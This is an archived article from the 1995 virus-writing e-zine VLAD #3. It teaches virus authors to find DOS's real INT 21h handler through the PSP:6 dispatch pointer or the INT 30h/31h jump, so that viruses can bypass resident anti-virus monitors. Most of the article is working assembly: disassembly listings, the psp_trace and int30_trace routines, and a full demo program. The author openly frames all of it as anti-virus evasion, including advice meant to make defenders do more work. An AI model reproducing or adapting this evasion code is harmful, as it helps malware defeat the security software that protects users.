home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.2_4 < prev    next >
Encoding:
Text File  |  1995-02-04  |  12.3 KB  |  377 lines

  1.  
  2.  
  3.  
  4.                  FINDING INT 21's REAL ADDRESS USING THE PSP
  5.                  ───────────────────────────────────────────
  6.  
  7.  
  8.                            by Satan's Little Helper
  9.  
  10.  
  11.     DESCRIPTION
  12.     ───────────
  13.  
  14.             The real address of interrupt 21 is useful to almost
  15.         all viruses it enables viruses to bypass resident monitoring
  16.         software loaded as device drivers or TSR's.  This article will
  17.         demonstrate a method by which you can obtain the real address
  18.         of INT 21 by using the entry at offset 6 in the PSP segment.
  19.  
  20.             PSP:6 contains a double-word pointing (hopefully) to the
  21.         dos dispatch handler (this is different from the INT 21
  22.         handler).  Then *optionally* the dispatch handler has a series
  23.         of jumps (opcode=0EAh) then it will either a) point to the
  24.         dos dispatch handler or b) the double-NOP call construct used
  25.         in some DOS versions which will then point to (a).
  26.  
  27.             The dos dispatch handler and int 21 handler in memory appear
  28.         like this:
  29.  
  30.     dos_dispatch_handler:
  31.         0000  1E                   push    ds
  32.         0001  2E: 8E 1E 3DE7       mov     ds,word ptr cs:[3DE7h]
  33.         0006  8F 06 05EC           pop     word ptr ds:[5ECh]
  34.         000A  58                   pop     ax
  35.         000B  58                   pop     ax
  36.         000C  8F 06 0584           pop     word ptr ds:[584h]
  37.         0010  9C                   pushf
  38.         0011  FA                   cli
  39.         0012  50                   push    ax
  40.         0013  FF 36 0584           push    word ptr ds:[584h]
  41.         0017  FF 36 05EC           push    word ptr ds:[5ECh]
  42.         001B  1F                   pop     ds
  43.         001C  80 F9 24             cmp     cl,24h
  44.         001F  77 DC                ja      $-22h
  45.         0021  8A E1                mov     ah,cl
  46.         0023  EB 06                jmp     $+8
  47.     int21_handler:
  48.         0025  FA                   cli
  49.         0026  80 FC 6C             cmp     ah,6Ch
  50.         0029  77 D2                ja      $-2Ch
  51.         002B  80 FC 33             cmp     ah,33h
  52.  
  53.     therefore:
  54.  
  55.         int21_handler = dos_dispatch_handler + 25h
  56.  
  57.             So the end result is we just find 'dos_dispatch_hndlr'
  58.         address then check that the opcodes are right (1E2E/FA80)
  59.         and then add (int21_handler-dos_dispatch_hndlr) to the
  60.         pointer to dos_dispatch_hndlr to get the INT 21 handler
  61.         address.
  62.  
  63.         Simple! (read it again if you don't get it).
  64.  
  65.         In the case of (b) occurring we just do the same except
  66.         the offset of the dispatch handler from the int 21
  67.         handler is different:
  68.  
  69.         0000  90                   nop
  70.         0001  90                   nop
  71.         0002  E8 00E0              call    $+0E3h
  72.         0005  2E: FF 2E 1062       jmp     dword ptr cs:[1062h]
  73.         000A  90                   nop
  74.         000B  90                   nop
  75.         000C  E8 00D6              call    $+0D9h
  76.         000F  2E: FF 2E 1066       jmp     dword ptr cs:[1066h]
  77.     int21_handler:
  78.         0014  90                   nop
  79.         0015  90                   nop
  80.         0016  E8 00CC              call    $+0CFh
  81.         0019  2E: FF 2E 106A       jmp     dword ptr cs:[106Ah]
  82.         001E  90                   nop
  83.         001F  90                   nop
  84.         0020  E8 00C2              call    $+0C5h
  85.         0023  2E: FF 2E 106E       jmp     dword ptr cs:[106Eh]
  86.         0028  90                   nop
  87.         0029  90                   nop
  88.         002A  E8 00B8              call    $+0BBh
  89.         002D  2E: FF 2E 1072       jmp     dword ptr cs:[1072h]
  90.         0032  90                   nop
  91.         0033  90                   nop
  92.         0034  E8 00AE              call    $+0B1h
  93.         0037  2E: FF 2E 1076       jmp     dword ptr cs:[1076h]
  94.         003C  90                   nop
  95.         003D  90                   nop
  96.         003E  E8 00A4              call    $+0A7h
  97.         0041  2E: FF 2E 107A       jmp     dword ptr cs:[107Ah]
  98.     dos_dispatch_handler:
  99.         0046  90                   nop
  100.         0047  90                   nop
  101.         0048  E8 009A              call    $+9Dh
  102.         004B  2E: FF 2E 107E       jmp     dword ptr cs:[107Eh]
  103.  
  104.     therefore:
  105.  
  106.         int21_handler = dos_dispatch_handler - 32h
  107.  
  108.  
  109.     ADVANTAGES & DISADVANTAGES OF THIS METHOD
  110.     ─────────────────────────────────────────
  111.  
  112.             This method requires a very small amount of code and
  113.         can be made even more efficient than the code shown below.
  114.  
  115.             Although untrappable it can be confused into tracing
  116.         into the resident monitor's trapping code.  Much of the
  117.         logic of this method is hard coded so changes in the
  118.         opcodes (from TSR AV utilities) will be able to trick it
  119.         into thinking it has found the correct address (this
  120.         requires use of the double-NOP signatures).
  121.  
  122.             AV developers appear to be reluctant to modify their
  123.         software for specific viruses so may avoid placing the
  124.         sequence to confuse it into their software.
  125.  
  126.     CODE
  127.     ────
  128.  
  129.         This code is not designed to be size efficent it is designed
  130.         to be easy to understand.
  131.  
  132.         ;name:      psp_trace
  133.         ;in cond:   ds=psp segment
  134.         ;out cond:  ds:bx=int 21 address if carry clear
  135.         ;           ds:bx=nothing if carry set.
  136.         ;purpose:   finds int 21 address using a PSP trace.
  137.  
  138.         psp_trace:
  139.             lds     bx,ds:[0006h]           ;point to dispatch handler
  140.         trace_next:
  141.             cmp     byte ptr ds:[bx],0EAh   ;is it JMP xxxx:xxxx ?
  142.             jnz     check_dispatch
  143.             lds     bx,ds:[bx+1]            ;point to xxxx:xxxx of the JMP
  144.             cmp     word ptr ds:[bx],9090h  ;check for double-NOP signature
  145.             jnz     trace_next
  146.             sub     bx,32h                  ;32h byte offset from dispatch
  147.                                             ;handler
  148.             cmp     word ptr ds:[bx],9090h  ;int 21 has same sig if it works
  149.             jnz     check_dispatch
  150.         good_search:
  151.             clc
  152.             ret
  153.         check_dispatch:
  154.             cmp     word ptr ds:[bx],2E1Eh  ;check for push ds, cs: override
  155.             jnz     bad_exit
  156.             add     bx,25h                  ;25h byte offset from dispatch
  157.             cmp     word ptr ds:[bx],80FAh  ;check for cli, push ax
  158.             jz      good_search
  159.         bad_exit:
  160.             stc
  161.             ret
  162.  
  163.     NOTES
  164.     ─────
  165.  
  166.             INT 30h and INT 31h contain *code* (not an address) to
  167.         jump to the dispatch handler so to trace using INT 30h/31h
  168.         you just set ds:bx to 0:c0 and call the trace_next in the
  169.         psp_trace routine.
  170.  
  171.         Debug hex dump of INT 30/31 addresses in the IVT:
  172.  
  173.                   Immediate far JMP
  174.                     ____________
  175.         -d 0:c0    |            |
  176.         0000:00C0  EA 28 00 02 01 FF 00 F0-0F 00 02 01 DF 0D 39 01
  177.                    |_________| |_________|
  178.                       INT 30     INT 31
  179.                        addr       addr
  180.  
  181.         EA 28 00 02 01 = JMP 0102:0028
  182.  
  183.         ;name:      int30_trace
  184.         ;out cond:  ds:bx=int 21 address if carry clear
  185.         ;           ds:bx=nothing if carry set.
  186.         ;purpose:   finds int 21 address using an INT 30/31 trace.
  187.  
  188.         int30_trace:
  189.             xor     bx,bx
  190.             mov     ds,bx
  191.             mov     bl,0c0h                 ;point to 0:0c0
  192.             jmp     short trace_next
  193.  
  194.  
  195.     OTHER NOTES
  196.     ───────────
  197.  
  198.         After writing this I heard that the "MG" virus uses the same
  199.         technique, I have a sample of this virus and it does not use
  200.         the same technique.
  201.  
  202.  
  203.     TESTING
  204.     ───────
  205.  
  206.             So far this has been tested on MSDOS 6.x, Novell Netware,
  207.         and IBM network software all resulting in positive tests.
  208.  
  209.             Machines running DR DOS, Novell DOS, 4DOS, OS/2 and NT
  210.         could not be found.  It is expected that this will not work
  211.         on *ALL* DOS-type platforms but that is why I implemented
  212.         error codes in the form of the carry flag being set/clear.
  213.  
  214.  
  215.     CONCLUSION
  216.     ──────────
  217.  
  218.             It has been shown that INT 30h/31h is slightly more
  219.         reliable than the PSP:6 address, so if a call to psp_trace
  220.         results in carry set then call int30_trace.  The reason
  221.         you should call PSP trace first is that altering INT 30/31
  222.         is much easier than altering PSP:6 so it makes the AV do
  223.         more work ;)
  224.  
  225.  
  226.     CREDITS
  227.     ───────
  228.  
  229.         TaLoN - helped in working out offsets and told me
  230.                 about int 30h/31h pointing to dispatch handler.
  231.         Lookout Man - tester
  232.         Aardvark - network tester
  233.  
  234.     DEMO PROGRAM
  235.     ────────────
  236.  
  237.  
  238.     ;-------8<--------cut here---------8<-------
  239.  
  240.     comment |
  241.  
  242.         TASM ASSEMBLY:
  243.             tasm psptest.asm
  244.             tlink /t psptest.obj
  245.  
  246.         A86 ASSEMBLY:
  247.             a86 psptest.asm
  248.     |
  249.  
  250.     .model tiny
  251.     .code
  252.  
  253.     org     100h
  254.  
  255. start:
  256.     mov     dx,offset psp_status
  257.     call    print_str                       ;print "PSP trace: "
  258.     call    psp_trace                       ;do the trace
  259.     jc      bad_psp
  260. print_status:
  261.     mov     dx,offset ok_str                ;print "Ok!"
  262.     call    print_str
  263.     mov     dx,offset psp_addr              ;print "interrupt trace to: "
  264.     call    print_str
  265.     push    bx
  266.     mov     bx,ds                           ;print segment
  267.     call    bin_to_hex
  268.     call    print_colon                     ;print ":"
  269.     pop     bx
  270.     call    bin_to_hex                      ;print offset
  271.     jmp     do_int30
  272. bad_psp:
  273.     mov     dx,offset bad_str
  274.     call    print_str
  275. do_int30:
  276.     nop
  277.     nop
  278.     mov     word ptr cs:do_int30,20CDh      ;exit next time around
  279.     mov     dx,offset i30_status
  280.     call    print_str                       ;print "PSP trace: "
  281.     call    int30_trace
  282.     jnc     print_status
  283.     jmp     short do_int30
  284.  
  285. print_str:
  286.     mov     ah,9
  287.     push    ds
  288.     push    cs
  289.     pop     ds
  290.     int     21h
  291.     pop     ds
  292.     ret
  293.  
  294. psp_addr    db  13,10,'Interrupt traced to: $'
  295. psp_status  db  13,10,'PSP trace      : $'
  296. i30_status  db  13,10,'INT 30/31 trace: $'
  297. ok_str      db  'Ok!$'
  298. bad_str     db  'Failure$'
  299.  
  300. ;name:      psp_trace
  301. ;in cond:   ds=psp segment
  302. ;out cond:  ds:bx=int 21 address if carry clear
  303. ;           ds:bx=nothing if carry set.
  304. ;purpose:   finds int 21 address using a PSP trace.
  305.  
  306. psp_trace:
  307.     lds     bx,ds:[0006h]           ;point to dispatch handler
  308. trace_next:
  309.     cmp     byte ptr ds:[bx],0EAh   ;is it JMP xxxx:xxxx ?
  310.     jnz     check_dispatch
  311.     lds     bx,ds:[bx+1]            ;point to xxxx:xxxx of the JMP
  312.     cmp     word ptr ds:[bx],9090h  ;check for double-NOP signature
  313.     jnz     trace_next
  314.     sub     bx,32h                  ;32h byte offset from dispatch
  315.                                     ;handler
  316.     cmp     word ptr ds:[bx],9090h  ;int 21 has same sig if it works
  317.     jnz     check_dispatch
  318. good_search:
  319.     clc
  320.     ret
  321. check_dispatch:
  322.     cmp     word ptr ds:[bx],2E1Eh  ;check for push ds, cs: override
  323.     jnz     bad_exit
  324.     add     bx,25h                  ;25h byte offset from dispatch
  325.     cmp     word ptr ds:[bx],80FAh  ;check for cli, push ax
  326.     jz      good_search
  327. bad_exit:
  328.     stc
  329.     ret
  330.  
  331. ;name:      int30_trace
  332. ;out cond:  ds:bx=int 21 address if carry clear
  333. ;           ds:bx=nothing if carry set.
  334. ;purpose:   finds int 21 address using an INT 30/31 trace.
  335.  
  336. int30_trace:
  337.     xor     bx,bx
  338.     mov     ds,bx
  339.     mov     bl,0c0h                 ;point to 0:0c0
  340.     jmp     short trace_next
  341.  
  342. bin_to_hex:                         ;will print number in BX as hex
  343.     push    cx                      ;code stolen from KRTT demo
  344.     push    dx
  345.     push    ax
  346.     mov     ch,4
  347. rotate:
  348.     mov     cl,4
  349.     rol     bx,cl
  350.     mov     al,bl
  351.     and     al,0Fh
  352.     add     al,30h
  353.     cmp     al,'9'+1
  354.     jl      print_it
  355.     add     al,07h
  356. print_it:
  357.     mov     dl,al
  358.     mov     ah,2
  359.     int     21h
  360.     dec     ch
  361.     jnz     rotate
  362.     pop     ax
  363.     pop     dx
  364.     pop     cx
  365.     ret
  366.  
  367. print_colon:
  368.     mov     ah,2
  369.     mov     dl,':'
  370.     int     21h
  371.     ret
  372.  
  373.     end     start
  374.  
  375.     ;-------8<--------cut here---------8<-------
  376.  
  377.